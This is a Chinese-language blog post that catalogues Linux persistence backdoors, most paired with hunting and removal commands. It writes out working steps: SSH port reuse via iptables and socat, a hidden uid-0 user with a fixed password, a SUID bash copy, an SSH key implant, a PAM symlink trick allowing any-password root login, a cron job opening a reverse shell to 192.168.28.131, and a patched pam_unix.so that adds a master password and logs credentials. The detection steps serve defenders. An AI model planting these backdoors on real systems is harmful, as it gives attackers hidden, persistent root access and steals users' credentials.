iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
1
2
3
4
5
6
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

# 0x00 添加用户

1
2
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

排查

1
2
3
4
5
6
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

# 0x01SUID

Suid shell 是一种可用于以拥有者权限运行的 shell。

1
2
3
4
5
6
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

/tmp/shell
一般将其命名为find等系统命令,存在位置为/usr/bin

排查技巧:

1
2
3
4
5
6
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

# 0x02 ssh 免密登录

1
ssh-keygen -t rsa	

再将公钥复制到.ssh 中 /root/.ssh/authorized_keys

# 0x03 软连接

在 sshd 服务配置运行 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时只要 pam_rootok 模块检测 uid 为 0 即 root 权限即可成功认证登陆。通过软连接的方式,实质上 PAM 认证是通过软连接的文件名 /tmp/su/etc/pam.d/ 目录下寻找对应的 PAM 配置文件 (如: /etc/pam.d/su),任意密码登陆的核心是 auth sufficient pam_rootok.so ,所以只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆,除了 su 中之外还有 chsh、chfn 同样可以。

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器 ssh root@IP -p 8888 ,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

# 0x04crontab 反弹 shell

crontab 命令用于设置周期性被执行的指令。新建 shell 脚本,利用脚本进行反弹。

a、创建 shell 脚本,例如在 /etc/evil.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

1
2
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启 crond 服务, service crond restart ,然后就可以用 nc 接收 shell。

# 0x05pam 后门

PAM (Pluggable Authentication Modules )是由 Sun 提出的一种认证机制。它通过提供一些动态链接库和一套统一的 API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM 最初是集成在 Solaris 中,目前已移植到其它系统中,如 Linux、SunOS、HP-UX 9.0 等。

利用方法:

1
2
3
4
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查

1
2
3
4
5
6
7
# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal